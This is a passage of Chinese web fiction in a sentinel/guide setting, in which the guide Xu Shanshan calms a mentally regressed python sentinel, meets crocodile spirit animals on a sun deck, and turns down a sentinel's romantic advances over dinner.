“她是一名向导,如果我没猜错的话,您应该也是向导。请不用担心,我们并不是什么暴徒。” 练洛一打算,把手上的任务做完,就带着他们进白塔。只是流浪久了,他不太清楚里面的态度,也来探一探。 她当然希望他们能帮个忙,但是……怎么来得这么巧,很像杀猪盘。 “她叫什么名字?” “我们分开的时候,她还没有名字。” 见她紧皱双眉,关怀的目光,他明白她还是心很软,有余力心善。 “她是白色头发,眼睛是浅灰色,脖子后有月牙胎记,漂亮、活泼,爱说话。她会发光。” 爱说话,这和她印象里的克拉拉不一样,对方显然是冰山御姐,能一个字说完就决不讲两个字。 徐珊珊:“这样吧,你先加我个好友,我到时候帮你问问。” 这是一场交易,这个忙她不需花太大力气,他们离得近,比这边派救援队快多了,既然组队流浪在外,应该有两把刷子。 至于他说想来白塔,她进得挺容易的,不过毕竟工种不同,不好说。 “我看你们跑挺快,”人比车快,她好奇地问:“你们在外面多久了,为什么突然想进来?” “十多年了。” “十三年。”老五插话,他就听清一句,嗓门还是大,对她来说还好,但对五感敏锐的哨兵来说,冲击挺强,相处这么久还不厌烦,可见有真感情。 练洛一低下头,往身上看去,手扶着肚子,“我想给他们找个好去处,一直在外面,对身体伤害太大了。” 因为向往自由,不愿被拘束,要找妹妹等原因,他们一直在外流浪。但污染得不到疏导,症状会越来越重,身体扛不住了。 他们做不出劫掠其他队伍向导的事,相反,遇见个别哨兵私带向导私奔,还会多管闲事,把两人送返。 人不能和没有监管的野兽独处。 队伍的名声其实还可以。 他们多次遇见过白塔的队伍,对那儿印象很好,但作为最大的塔,它要求高,检查严。他们不认为,她会在这儿,把小基地找了个遍。 毕竟他们是改造人,后遗症不少,一颗不稳定的炸弹,不想受人歧视和不公正对待。 徐珊珊:“你要不要先去医院?” 宽大的衬衫散在身前,贴在顶点,一根脱落的睫毛落在眼尾,男人摇头轻笑,“我没有孩子。” “打了也好……”她也分不清有几个月了,有点骇人,但考虑到他们的医疗水平,以及哨兵的性格,“最好去医院。” 一旁的人听不懂她的话,只见领队笑道:“好,谢谢关心。” 好老大啊,她环视众人,都这时候了,不惦记自己,光想着怎么给兄弟们找退路。 她指着照片,“水下有引导绳,你们可以沿着绳子找到他。” 练洛一:“好,两天内,我们会处理好。我们的事,就劳烦你上心了。” 两天,这么快?暗河的水消没消啊,别人没救出来,又搭进去一个。 见她同意,他们很快下线了,好像是去履行约定,留下一辆车。 不一会儿,卡尔赶来,看她坐在车里发呆,手中捏着一瓶七彩饮料,放了廉价低质配料。 卡尔站在门外,没有打扰,直到她回神,发现他,两人驾车离开。 又是酣畅淋漓的一天。 傍晚,她得知一个好消息,可以出院了。寻人的事,她翻遍官网,没找到一个符合条件的人。 不想放弃,她决定去问一问克拉拉和吴可。 将寻人信息发过去,吴可回复:【没有同时满足这几个条件的向导】 克拉拉一如既往地离线。 光脑震动,她一看,忙碌中,弹出自动回复:“正忙,稍后回复。” 晚上,她终于回到宿舍,洗完澡出来,发现数个未接来电,心惊胆战,还以为错过开会通知,凑近一看,是克拉拉。 太好了。 她刚点亮屏幕,对方又打了过来,秒接,女人张口就是:“他们在哪?” 还真是一家人,克拉拉罕见的情绪激动,说话音调不稳。 徐珊珊:“网上认识的,”听闻抽泣声,她不由得安慰,“别哭啊,我把账号推给你,你别急,我看到了 ,人都好好的。” “他们好像打算入塔,要不了多久你们就能见面了。” “好。” 处理完一桩事,挂电话后,她想起来,自己没有提前告诉她,就是她哥哥可能……怀孕了? 她将头埋进枕头里,反正明天要见面,明天再说吧。 第39章 次日,她回到营地,向克拉拉告知了这个消息。 正午,她取回光脑,查阅系统消息,下午有两个预约,首先是蛇队,备注了特殊病情:心智退化。 徐珊珊通过了申请,对方发来新消息: 【您好,感谢您及时的救助,王蟒的身体恢复了,但思维退化到了孩童时期,您能抽空,来队里看看吗?】 他解释:蛇队被禁足,只能待在营区内。 王蟒是谁?脑中梭巡,眼睛微眯,她才反应过来,窜路了,不是王莽,应该是那条沉重的网纹蟒,把她卷成米其林轮胎的那位。 【我下午有空,发一下地址】 地址定位在一栋建筑,她印象里,那是栋水蓝色的圆饼型建筑,顶部中间透光。 她在系统日志上做好记录,同卡尔一道,乘车抵达目的地。 今天也是艳阳天。 “徐珊珊,向导……”门卫对照、登记完两人信息后,放他们进入,听闻她的来意,指了一条路。 首先是办公室,如果不在,这个时间点,可能在晒台。 候梯厅,石柱上放着生态缸,一米高,从上而下叠了几层,树枝上有条翠青蛇,水塘里浮现出身影,一龟仰头朝上,沙坑里露出一条尾巴和后肢五爪。 两人乘电梯而上,滑门打开,迎面见指示牌,走廊上挂着科普专栏,有趣的是,办公室旁,整齐地挂着照片墙。 人像旁摆着蛇的证件照,它们扬起脖子,缩回舌头,嘴合拢,成人字形,正视前方,看着宝相庄严,鹅卵石状、三角状,头型各异。 办公室无人,也许是午休去了,她也不急,想着到处看看。 几番摸索,两人找到晒台,一个宽阔的露天空间,绿荫环绕,乔木、灌木生长,沙地丘陵各有分区,中央是一块泳池,清澈见底。 泳池呈现不规则的圆弧形,不像别处是长方形,四周留有大片空地。 山石坐底冒头,石周有遮蔽物,池尾长了一片水草,最浅处只及腿肚,边上放置沙滩椅。 卡尔将躺椅搬到阴凉处,她坐上去,胃在消食,打算到时间,让他们来接人。 这儿信号不好,迟迟不见人来,卡尔让她休息,他去找人。 失策啊,没想到还有离线区。 她百无聊赖地站了起来,漫步一圈,观察四周环境,为什么要栽树? 她捡起救生杆,它可伸缩,顶部有钢圈,十分结实,拿着它挥舞了一会儿,模拟持长枪攻击。 玩累了,她躺回椅子上,不知不觉间就犯困,中午不该加饭的,晕碳了。 她想着,就眯一会儿。 身体转动,险些掉下椅,她惊得醒来,睁眼看向四周,生怕自己又去到别处,仰头看天,还好,还是这儿。 她低头看地,不太好了,俯下身,捡起摆在地上的救生杆,随后盘腿坐起来。 哪来的鳄鱼? 一条黑凯门鳄,它眼部隆起,头部长宽,身披黑色骨板,背部有条隆起的脊骨,身侧有带状黄纹,前肢短粗,脊椎左右扭动,拖着尾巴徐徐爬来。 长得有点眼熟,她好像在哪儿见过,徐珊珊有点印象,但也不敢靠太近,怕万一认错人。 “不要过来了。” 这应该是某位哨兵的精神体,她这样嚎了一嗓子,对方果然不动了,但随之而来,门口处发出“咔哒、咔哒、”的声音,爪子摩擦地面的声响,她抬头看去,一大坨鳄鱼啊。 干嘛?她罕见地有些紧张起来,开始没话找话,“我好像认识一个鳄队的哨兵,他还给我送了锦旗呢,哈哈,你也听说过吧。” 但它回头见别人来后,瞬膜斜向上合拢,又落下,露出沼泽中撕开的黑影般的眼睛,继续往前爬,她在紧急情况下穿上了鞋子。 主要是当事人不在,只有精神体在这儿。眼见着鳄鱼越靠越近,她想起身离开,但它们兵分两路,环绕泳池,前后都有,这下被包围了。 没事的,它不会伤害她,你看,嘴都没张呢哈哈。话是这么说,她还是有些紧张地将小蘑菇叫出来,待鳄鱼走近,提起救生杆,隔着几米,用钢圈套住了它的扁嘴。 箍得紧紧的,嘴筒子张不开,它也没甩头,没后退,就停在那儿,看着她。 她有些不好意思,“我不是故意的,你别过来我就放开你。” 她耐心地和它解释,等着它的主人到来,但没注意时,精神体自己往外跳去,她瞪大眼睛,“小蘑菇,你想干嘛?!” 哇塞,这个家伙喊不听,装没听见,一蹦一蹦地往鳄鱼身上去了,踩着嘴上脸啊。 这么勇敢的吗?她这个主人简直惭愧。 等它成功坐上颈部,又在上面调整位置,最后落到肩后最宽处,她感到手中一震,鳄鱼退后,钢圈坠地,发出震响。 它扒着地面转换方向,然后一路入水,只露出背脊,然后小蘑菇就坐在别人肩膀上,用菌丝划水,波纹荡漾。 …… 好气啊,但是不知道气什么,她低头看向救生杆,它就这样和别人戏水去了? 肾上腺素随着鳄鱼群的靠近激增,她观察到,虽然它们长得大同小异,但细看,仍略有差异。 一些鳄鱼靠近她,大概一米处停下,扁扁地趴着,挤在泳池边,有的尾巴搭在别人尾巴上,闭上眼睛,也有的张开嘴,露出淡黄色口舌,和几十颗圆锥状利牙。 它们是来这儿晒太阳的? 她的脚收在椅前,忽然一条倾斜着尾巴撩过来,擦过小腿,凉凉的,侧面的角质盾片有些划拉,还没注意就嘶溜过去了。 她又将腿收回椅子上,问题在于,它们靠阴凉处这么近的话,晒不到太阳啊,阳光仅洒在头前侧,如晒是吧。 徐珊珊又待了一会儿,发现刚才的摆尾是意外,它们很懒,真的很懒,一动不动。除去将她围在中间外,看不出有任何威胁,情绪很稳定。 直到太阳一点点倾斜。 又是一阵哒哒响,她以为卡尔回来了,但并不是,门口爬进一条鳄鱼,它体型更大,看起来是老大,所及之处,其他鳄鱼纷纷让开位置。 很酷,但怎么是朝她来的? 最终,它停在她面前,仰起头,两人大眼瞪小眼,徐珊珊摸不准它的想法,低头看了看座椅,“我是不是占了你的位置?” 她从椅子上跳下来,拖住椅子,摆到阳光下,众鳄鱼睁开眼,甩头看过来,默默往旁边扒拉,她好歹不用担心踩着别人的尾巴。 她清了清嗓子,“老大,你坐吧,我就先走了。” 她话说完,期待地看着对方,但它转身离开,像是下定了某种决心,这是……她愣在原地,不晒了? 其他鳄鱼又围过来,紧贴在椅边。 她不想踩着别人的尾巴,又坐了上去,可是中午的太阳有点毒,她抬起光脑看,还是没信号。 一阵响声,什么东西倒下了,一顿鼓捣,她望向那处,不一会儿,它终于又进来了,嘴里叼着一个长柄,好像是把伞,在地上滚来滚去。 面对拖到面前的沙滩遮阳伞,徐珊珊沉默了,无意义地啊了几声,最后蹦出两个字,“谢谢。” 其实她也是可以陪它们一起晒太阳的,她和鳄鱼合力将伞立正,撑开,于是她独享一片阴凉,大佬鳄趴在旁边守候,而小蘑菇已经和那只黑凯翻江倒海了,来回不知几圈。 想来晒太阳的精神体有很多,又进门一群蜥蜴,身体更细长,形状、大小、颜色各异,进门时停了一瞬,然后四处分散,有的挂 在树枝上,体色变化。 他们这儿还挺有意思的,徐珊珊想,用手指戳了戳鳄鱼老大的背部,它感到酥痒,合上嘴,转过来,歪着头看她,呆板的眼神里露出一丝疑惑。 有点萌啊,徐珊珊听说有人养鳄鱼的,说是沼泽小狗,她问:“你知道蛇队多久来晒太阳吗?” 对方的头一转,随后门口发出细微的嘶嘶声,她抬头看去,果不其然,群蛇毕出,更细长条的精神体入场。 但更重要的是,人跟在精神体后面,她终于看见卡尔了,他领着蛇队的人来了。 按理说,各队是分时区晒太阳的,倒不是地盘不够大,一般只有切磋、交流信息时在会聚在一块,当然了,会被向导吸引也正常。 蒋森心想,他们知道珊珊向导,也还是托了晒台的福,因为伏击组全体都是2G网,生活基本围绕着吃、睡、必要的训练展开,节奏比较慢,简言之,就是消息闭塞。 卡尔一眼瞥见鳄鱼群里的她,谈话声终止,领着蒋森往这边来,被鳄鱼群拦住,它们转身,头朝外,张开嘴,露出锋利牙齿。 “徐珊珊向导,没想到您来得这么早,有失远迎。” 很客气啊,男人胸前满是水渍,连卡尔胳膊上也青红一片,看来是被那条蟒蛇折腾的,她摇摇头,不介意地说:“没事,我来这儿参观参观。” 她看向泳池,伸出手喊:“小蘑菇,回来,咱要走了。”见到鳄鱼听懂了,尾巴摆动,朝岸边来才放心,心有些痒痒的。 这儿很安静,不像空战组那块,每次她去,都十分热闹,小鸟们叽叽喳喳,有的还会学舌,不需要主人在场,直接和她沟通。 很有趣,但也有些吵,而且嫉妒心强,她摸谁的头,那只鸟就会被别人啃下一撮毛,扇动着翅膀表达愤怒。偏爱太过,下次再去,就会看见一只秃子。 这里就很安静,不晒太阳的话也很凉爽。 等精神体上岸,她将它擦了擦,揣在怀里,踩着尾巴间的空隙,但前面还是越来越密,知道它们舍不得,但毕竟有正事。 “乖啦,让我出去,我下次再来找你们玩。” 鳄鱼群渐渐散开,而鳄鱼老大的移动,让这个趋势变得更明显,她终于走出来,跟着蛇队往外,几步后,听见身后传来哒哒响。 徐珊珊转头看,是那只黑凯门鳄,跟着她的脚步往外爬,她意识到,可能就是那条给她送锦旗的鳄鱼,左右挥手,道别:“别跟着我啦。” 对方扬起的头放在地上,看起来是知道了,鳄鱼老大没跟上来,它挡在群体前,它们都睁眼看着。 蒋森:“请往这走。” 男人领着她往外去,而形形色色、大大小小的蛇类、鳄鱼、蜥蜴留在场地内,各自占领一块区域,形成一个三角对峙场面—— 作者有话说: 小蘑菇:危险行为,请勿模仿 小鸟:女人,你是不是喜新厌旧? 第40章 一路上,蒋森向她介绍那条巨蟒的近状,用词委婉,当她进门,只看见一个对着照片流口水的小傻子,看上去缺心眼极了。桌旁放着保温盒,没有热气。 “他就是王蟒?” 蒋森:“对。” 说完,没等他招呼,那高大男人便自顾站起来,往这边巴巴跑,砸在地上咚咚响,缩在沙发缝里的网纹蟒也冒出头,一双眼像被雾蒙上。 见他又直奔向导去,蒋森拦住他,手臂筋肉紧绷,用了力,这傻小子,几天没吃饭了还有这样的力气。 王蟒想靠近,但被阻挡,心里不满,这个靠近领地的人,想给他来两下,但左边是感兴趣的人,他再三犹豫,选择接近她,至于这个人,不重要。 随着一条蟒蛇从盘踞的后方游向前,它抬起脖颈,蛇信在空中嗅闻,歪着脑袋,用它那不太清楚的视力,描摹模糊轮廓,而后非常激动地摩擦腹部。 蒋森知道他很激动,不久前被疏导过,记忆里全是她的味道,现在又失了智,不知收敛,真情流露很正常,只是希望他别吓到别人。 又一条蚺蛇从身后冒出来,那是一条森蚺,它更粗短,待在脚边十分安分,也游到跟前,两蛇对峙。 徐珊珊还留着上次的记忆,下意识往后缩,退到蒋森身后,卡尔也挡在身前。 隔得远了,有点安全感,她再打量那男人,他嘴里嘟嘟囔囔道什么,“想你,对不起……”一类话。 她看向一旁的监控摄像头,不知道它是否会留下影像记录,这位哨兵,日后观看的感受会如何,这么多人,她都替他尴尬。 蒋森队长见她表情凝滞,想给他找点补,“他平时不这样。”蛇队的人,基本都好静,没这么直白和热情。 王蟒平时最瞧不起那些对着向导低三下气的人了,说他们连脸面都不要了,看来他也没要脸到哪里去。 蒋森摁住王蟒,“你不用怕他,他现在可以控制自己,不会伤人。”他一面呼喊另一人,对方拿来锁拷,准备将男人铐在椅子上。 见他扭个不停,十分抗拒,蒋森劝说,“徐珊珊向导来看你了,别动,你也不想伤到她吧。”他好像听懂了,立马停下来,但眼睛里还是散发出纯真的眼神,像一条傻狗。 他们做好措施后,退到一旁,腾出位置,她靠近,男人转头,扯开嘴笑道,张开幅度以至于让她怀疑,是不是被人教授了什么道理。 诸如笑容代表友善,所以他笑得越开心,别人就会认为他越友善。 “呃……你好,我叫徐珊珊。” 男人点点头,开始重复她的名字,这傻孩子,不会影响大脑了吧,她舔了舔下唇,将目光移向一旁的蟒蛇,这个也是面相完全变了,完全放松的姿态,看起来呆呆的。 徐珊珊:“过来。” 一条S形滑动的大蛇,她往后退,它的身体越过椅子脚,上下匍匐滑来,哪怕被主人蹬了一脚,勒令它停下,硬是没停顿一下,装作无事发生,腹部肌肉收缩,屁颠屁颠地往前去。 徐珊珊对此感到并不意外,精神体并不是总跟主人一条心,比如小蘑菇,完全愿意抛下她和别鳄下水。她很心寒,真正的寒心不是大喊大叫。 “就是你捆我,然后压得我喘不过气是吧?” 她的质问,那家伙似乎听懂了,停下来,接着头部趴在地上,吻顶地面,翻了一个身,然后是一段段的翻身,将柔软脆弱的白腹坦露。 咋的,装死? 诶不是,她看笑了,一手插着腰,它要不要看看自己的个子呢?这么大个装死,不敢承认? 在两人互动的过程中,其他人也在观察,见蟒蛇不停地吐露蛇信,蒋森提出让他两单独相处,留出空间,它会更放松。 她点头同意,见卡尔顾虑,她挥了挥手,“没事,有事我会喊你。”于是众人离开,毕竟她现在是上级,她说了算。 房门合紧,里外的空间被隔开,卡尔就站在门框边,侧着脸守候,蒋森请他去一旁坐着喝杯水,让别人来守,他拒绝了。 房间的隔音不是顶级,仍有隐约的声音,他将耳朵拉尖了,注意里面的一举一动。 室内,徐珊珊正紧张地分开两个精神体,没错,就是小蘑菇和那条蟒蛇。 都说精神体反映当事人的内心,她还不知道自己原来报复心这样强。 她原本打算将它放出来,看看是否还有未净污染,帮他疏导,但没想到它出来就奔着人家精神体去了,那个跳动的姿态,隐约有些不好的预感。 那条蟒蛇本来躺在地上装死,当它靠近时有点装不下去了,调整了姿势,才能好好看清画面,还想装乖,完全没注意气鼓鼓靠近的精神体可能会造成威胁。 不知道小蘑菇对它做了什么,应该是从前对她做过的事,因为很快,那条蛇就 开始蜷缩起来,全身拧动,身尾串成圈,头部从中穿过,形成一个麻花结。 它这是记恨上次被甩飞,复仇呢,她关注地看向一旁的王蟒,见他开始翻白眼,有些紧张,“你没事吧。” 走过去,摸了摸他的额头,男人倒是很乖,也许跟手脚都被捆住了有关,只是支支吾吾着什么,“不要、不要……”的,她也不清楚到底是不要什么。 就像她撞见鬼怪要拿自己做烤串一样,他可能也出现了幻觉,以为发生了什么危险事情,感到惶恐无措,她一边安慰,一边和精神体沟通。 人蛇很快恢复,但它还没消气,爬上桌子,居高临下地看着,跃跃欲试。 她劝阻的话还没说出口,它就直接跳脸,把撑起来的蛇头撞到地上,发出咚的一声,撞得眼冒金星,尽管如此,除了尾巴扭了扭,动静不大,不一会儿又爬起来,悬起上身,好奇地嗅闻。 小蘑菇再次爬上椅子,站在扶手上,那蛇也呆,就立在那,一动不动让别人打,倒下去又弹起来。 真应了那句话,别人打了我一边脸,就把另一边脸也伸过去,而他的主人一点没感觉,冷眼看着。 多么残暴,哎呀,怎么能这么暴力呢? 目前,病人看起来问题不大,但继续打下去就不一定了,为免麻烦,她将它收了回去,好生安抚。 她走近男人,没想到他也抬起一边侧脸,似乎是误以为她也要扇脸,认错愿罚的模样,徐珊珊顿住了,她考虑了一下,但停下了。 默默走到一旁,搬了张椅子,面对面坐着,男人垂眸,她低头一看,发现蛇又试图靠近,在闻鞋底,这样不行,两人得聊聊。 她将脚抽开,严肃道:“不要碰我,还没原谅你。” 那家伙没有被惊动,头没后缩,也是愣了一会儿,扭动脖颈,正面看来,然后也不敢蹭身上,开始用头蹭椅子腿,似乎在求原谅。 有点粘人啊,受不了它一直讨好,她决定给它找个事做,从一旁柜子里拖出一个充气红球,轻质塑料的,托着它,摁到蛇的头顶,中心下凹,“你就在那边,顶球五百次,我就原谅你,要注意,不准落下来。” “听懂了吗?”她一只手将塑料球往上掷,待它落下,另一只手往上打,来回两次,为它做了示范,然后她真的在蛇身上看见了点头动作。 她还是畏惧,没有摸头,直接将球抛向角落,它撞向墙顶转角,斜落下,蟒蛇的速度很快,头往上顶,但运动轨迹不明,又或者,气球落到桌子上,它爬得慢,落了地,就算计数中断。 老实蛇,见它专心“赎罪”,徐珊珊收拢了心,将目光转向王蟒,见对方也专注地看自己精神体击球,简直入了迷,她咳嗽了两声,对方才回神,又开始傻笑。 她决定出去后,和蒋森队长说一下,这种快咧到嘴角的笑容似乎不能很好地表达善意,更像是一种食欲。 说起吃,她看向桌面的保温饭盒,询问:“你为什么不吃饭?” “蒋森说你饿了几天,不吃不喝。” 面对这一诘问,王蟒的眼睛咕噜转,似乎想隐瞒,找个理由、借口,在她威逼下,才坦露实情,“见不到你,不想吃。” 不知道是吓到她,内心不安,还是想念她,徐珊珊也没问明。 她看过去,两人眼神对视,一双澄澈坦白的双眼,直诉内心,她的脸红了,偏头纠正道:“难道我不来见你,你还能一直不吃?” 他一副若有所思的样子,然后点了点头,气的她直接给他脑瓜上一个指弹,“不可以不吃,你想想你的家人。” “家人……很远。”男人憋了很久,蹦出来这两个字,她想了想,既然自己在,就好好跟他说一下,免得又弄得蒋森队长一身湿。 “我给你喂点吃的。” 她本想喊门外的人送吃食来,还没走到门边,房内的“砰、砰——”声消失,脚上一沉。 脚踝多了个绿脚圈,它球也不击了,跑过来缠住她是想干什么?鞋头顶了顶蛇颈,“放开我。” 男人眼巴巴看着她,“有饭。”他指的是桌子上的那个。 “已经凉了,对胃不好。” “我喜欢冷饭。” 真假的?她狐疑地瞥了一眼,不明白他为什么不愿意自己靠近门边,但也无所谓,当她调整面向,再抬腿时,蟒蛇就不再缠着她了,转而回去爬上桌,她还没意识到,发现它在用牙开保温盒。 盖子被顶落,坠在桌上,摇晃旋转,它抬起头邀功似的,然后又滑下桌子,继续到角落顶球,它现在可以很好地控制力道,让它不至于飘很高,角度也不会偏离,这样更快,更稳。 好蛇,就是有点呆。 徐珊珊将饭盒端出来,量大,这还是削减后的食量了,先尝了一口,温的,王蟒的目光始终聚焦于她的身上,见到她入嘴时,嘴巴也不自觉地模拟吞咽。 她坐到一旁开始喂食。像是为了证明之前所言非虚,这家伙把这一盒饭菜全炫完了,就是吃饭也盯着她,不时瞳孔会变形,有点瘆得慌。 在进食过程中,蟒蛇也不知不觉间,将预定的数量顶完了,现在是一条被赦免的无罪蛇了,高兴地趴在地上休息。 它不擅长击球,这事又做得很诚实,哪怕没人监督,也不敢偷偷漏数,每次不慎落地,都是从头再来。动作完后,就气喘吁吁的, 这个哨兵又黏糊了好一会儿,徐珊珊突然想到门外还有卡尔,就拉开趴在自己肩膀上的人,她虽然有个宽阔结实的肩膀可做他人依靠,但也不能靠太多。 和王蟒叮嘱了很多,包括好好吃饭、好好对待队友等等,对方都顺从,完全不见当时的暴戾,她可是亲眼看见他把人桡骨压得咔咔响,现在除了块头大,看不出一点威慑力。 她看向光脑,耗费了不少时间,她下午还有一场疏导,将手按在他的额头两侧,轻揉打转,肢体接触无疑让他感到舒适,眯起眼睛。 “晚上头痛记得和别人说,想我可以给我打电话,不要太晚。” 完事后,男人接过名片,看着直到背熟,塞进衣服口袋里。 经过她晓之以理,动之以情地劝说,终于是把大杀器安抚好,蒋森等人再进来时,果见已经被撸顺毛了。非要说的话,就是从野生蛇变成了家养蛇。 众人本是同生共死的好队友,看他们互动,竟也生起取之而代的隐秘欲望。 徐珊珊:“那我走了,下次再来看你。” 因人被绑,只有一条蟒蛇跟在身后,它亦步亦趋,但无情地被关在门的这边,竖起的身子垂下,贴着门板。 脚步声渐远,地面传来的振动减弱,没动静后,蟒蛇滑动身子,开始往桌上爬,扑进饭盒里,开始舔舐,明明它的进食方式是整个浑吞,这样什么也吃不到,就是扑进去,舔个不停,根本不管主人的训斥,咬住调羹,又缩到角落去。 王蟒很生气,但目前后果并不严重,他只能眼睁睁看着它覆盖上面的气味,实在喊不动,他突然想起了另一个办法,将它收回了脑海中,没想到成功了,阴险地笑起来,然后利用合拢的腿,整个挪动椅子,一点点往那边靠。 蒋森等人将他们送到门口,又是一阵道谢,她只草草说了两句,看见车停在门口,就匆匆上车了。 车尾灯消失在视野中,蒋森率先回头往里走,沿路上,看见趴在墙柱后偷窥的精神体,大大小小爬满了,还有的叠在一块,看来有些东西比阳光更具有吸引力。 它们见他近了,瞪着那双不大的小眼,仿佛失去乐趣般,一溜烟跑散了,各回各家,互不相干,望着众精神体离开的背影,蒋森想了想,还是爽朗地笑出了声。 车上,卡尔有些失神,鼻翼翕动,她几次喊时,都反应地后知后觉,她有些担心地问:“你是不是不开心?” “没。” 说虽这么,他的低落却很明显,嘴笑眼不笑,她却不知道该说什么。 气氛降温,不过卡尔很快意识到,他这样,不能导向好结果,劝慰自己,将忧虑抛在脑后,轻松地同她搭话。 徐珊珊听他分享过去在纠察队的亲历八卦,也跟着听,不时震惊,两人逐渐破冰, 抵达白塔静音室。 工作非常顺利,晚上又将回到训练营,但下班时,两人撞上了一个预料之外的人。 40-50 第41章 喧嚷的人声,甜美细腻的嗓音成为背景音,一位位向导从阿瑞斯的面前穿过,她们抛来目光,略过他,视为背景板,往前走。 安保人员跟防贼似的盯着他,大抵是因为脖子上的项圈,警示性的红灯闪烁。 一直到众人尽数离开。 门开,熟悉的脚步声,频率、步伐轻重,越来越近了,女人穿过走廊,来到转角,先是裤腿露出来,然后才是上身,她今天扎了个花苞头,扭头时锁骨凸显。 阿瑞斯仰起头,欲要开口,她却瞥向对面的人,很相熟似的,笑着挥手:“卡尔。” 随后卸下手上的链包,递到他手上,两人并肩,等在电梯前,那个家伙的身躯挡住了视野,她也没往这儿看。 “徐珊珊向导。” 听见有人喊,她俯身侧看,才发现穿着真丝衬衫的男人,尖领松扣,胸部把前襟撑得鼓鼓的,纯色素净,一副纯良姿态。 她发现自己看着他时,有点想歪了,比如衣服下的场景,在窗边逆光扭腰,垒块分明的肌肉间的沟壑,流畅的线条。 他来干什么?因两人认识方式的缘故,她总觉得,他们的关系,是放不上台面的,尤其到了现在。 她有意疏远他,再掩饰再找说辞,想摆脱的心思也愈发难以掩盖。 她知道,自己如果有意,他们也不会拒绝,甚至阿瑞斯还跟她求过几次。 实际上,也没有任何舆论风险,在这个世界,她只是过不了心里这关。 哨兵和向导之间的关系并不平等,这样的感情,能算爱情吗?还是说,因为她身上有他们需要的生存资源,所以才乞怜讨好她呢? 她想不明白,也没有把握做海王,人怎么可能不偏爱呢?哪怕是两支水笔,都有更喜欢的那支。 洒脱的人倒没这烦恼,就算只有□□又如何,反正他上赶着,别人见了,也只会说他高攀,被甩就是没有魅力。 徐珊珊移过头,她的脑子里还残存着上个世界的思想,现代的,前现代的,没法快速扭转过来,总想着拨乱反正。 对与错颠倒,这个世界鼓励她做的事,正是上个世界所鄙视的事。做的事,正是上个世界所鄙视的事。 她仍拿不定主意,只是没想到男人会找上门来。 阿瑞斯走近,三人一同进入电梯间,显示屏上的楼层数不断减小。 卡尔:“下午顺利吗?” 徐珊珊向上伸了个懒腰,嘟囔道:“还行。” 今天下午来访的哨兵,精神体是鳄龟,她当时心里想的是:这群蜥形纲的赖上她了是吧。 什么鸟、鳄鱼、蛇、蜥蜴、龟鳖,全见过一轮了,除了小鸟的体温高,抱起来暖乎乎,像个暖水袋,其他都比人体温度低一些。 鳄龟的咬合力也是很恐怖了,明明行动缓慢,动静也不大,摸龟壳,觉得痒了就扒拉走,全程没张过嘴。 在疏导的时候,它有点情绪激动,一口把桌腿啃了,声响发出,而桌上的摆饰,随着倾斜的桌面一路滑到地上,发出哐当声。 那名哨兵事后醒来,连忙向她道歉,然后赔偿,其实这个报上去,会有人来修,但说是给她的精神损失费。 系统现在给她分配的人,污染情况好像要严重些,可能是在给她升职转型,打预防针。 电梯开合,关闭,路过食堂,队伍所在楼层,阿瑞斯都没有离开,好似跟定两人。 三人通过检查岗,路边等车。 卡尔:“阿瑞斯队长为什么要跟着我们?” 阿瑞斯剜了男人一眼,从喉咙里发出一声闷哼,只对着她:“我想和你说两句话。” 车头转近,顶部数字正是她要等的,徐珊珊看向光脑,既然还有时间,她也不妨把话跟他说清楚。 “卡尔,那今天让他送我吧,你去帮我跑个腿……” 她将卡尔支走,只剩下两人,列车停下,两人相继上车。到站后,下车,乘坐电梯直达附近的街区。 两人走进一家餐馆,他应该也还没吃饭。 点完餐,饮品先被端上桌,两人各坐一边,她将手肘靠在桌上,摁着后颈,一时不知该如何开口。 男人将礼盒推过来,包装张扬,她没接手,端起冷饮,吸入酸梅汁,被冰得眯上眼睛,一下喝太多了。 “我这杯是热的。” 男人举起另一杯热饮,她摇头拒绝,“一杯就够了。” 他笑着含糊过去,只是笑得勉强,“最近挑了支援队,听说有个人要死在洞里了。” 她的思绪漂移,不知道他提的是否是布鲁诺,“我觉得,应该没事。” “如果他死了,你会怎样,你会一辈子记住他吗?” 徐珊珊皱眉抬头,他说的人应该是布鲁诺了,不然也扯不到这话。 但是,这些人动不动就死不死的,她不悦地将玻璃杯放回桌上,“不会,我记性很差,第二天就忘了。” 男人失望地敛目,不久又神采飞扬,“那我要好好活着。”大不了把他们都熬死,实在不行就制造一点意外。 “这才对。” 见他被拐上正途,徐珊珊这才满意地点头,活着才有未来嘛。 阿瑞斯:“我听说有些人会爱一个人,在他死后,终身寻找他的替代品。” 这让她想起了某部古装电视剧,总觉得这样对谁都不太公平,低声念叨:“有点渣啊。” “这个人,你也认识。” 她睁大了眼,不敢置信,八卦之火熊熊燃烧,“谁啊?” 而阿瑞斯给出的答案却超乎她的预料,她还以为是哪个哨兵,但结果却是她的老师,薛柔姐。 她还记得那位穿山甲哨兵,压抑、顺从,好像在关系中处于下位,她以为是姐弟恋的缘故,没想到,还有更劲爆的。 “她不是白塔人,最初和一位哨兵一起逃难到这儿,身受重伤,刚到这里时,还没觉醒,只是个普通人。” 阿瑞斯比了比桌面,“大概这么高,两人以前是邻居,一块长大的青梅竹马,来白塔后也是形影不离。” “然后呢?” 尽管这么问,她心里也浮现出答案,薛柔姐身边换了人,全是年轻人,没有同龄人。 “他死了,在外出任务时,在她成为向导后不久。” 当时两小无猜,他保护她穿过危险的污染区,来到新的地方。但现在只余下回忆,恐怕这么多年过去,连那人的面容都模糊了。 命运弄人,也不好评判什么。 徐珊珊:“你怎么知道?” “这不是什么秘密。” 在徐珊珊的心里,这怎么会不是秘密呢? 但这怎么会成为一种秘密? 偏爱是那么明显,就算当事人不知道,对手会不清楚吗? 当时,男人的死引发一阵轰动,也正是因为他,白塔才更加深入地了解污染区。 薛柔姐人也很好,很有魅力了。但她觉得,哨兵还是太卑微,把对方奉若神明,自己做虔诚的信徒。 应该是脑子坏了,玻璃杯中只剩冰块,被放在桌面,菜肴被端上来,她盯着餐盘上的摆花,恍然发觉,好像跑题了,她想说什么来着? 对,她要和他说再见。 徐珊珊抬眼,撞进男人的幽深的眼神,听见他开口:“你可以考虑一下我。” “你喜欢什么样的,我可以改。” 她没法回应,只是一个劲的摇头,“我不可以。” “……为什么?” 徐珊珊:“我对他打下了精神烙印,他需要我,我要对他负责。” “他没你想得那么脆弱。” 她反问道:“那你呢?” “你的意思是,你比他更需要我,是吗?” 男人认输,点头回是,反正他也不是多有道德的人,“你不想要我吗?” 徐珊珊被他的直白噎住了,饭可以乱吃,话不能 乱说吧,这大庭广众的。 “……我不需要。” “好。”他明白了。 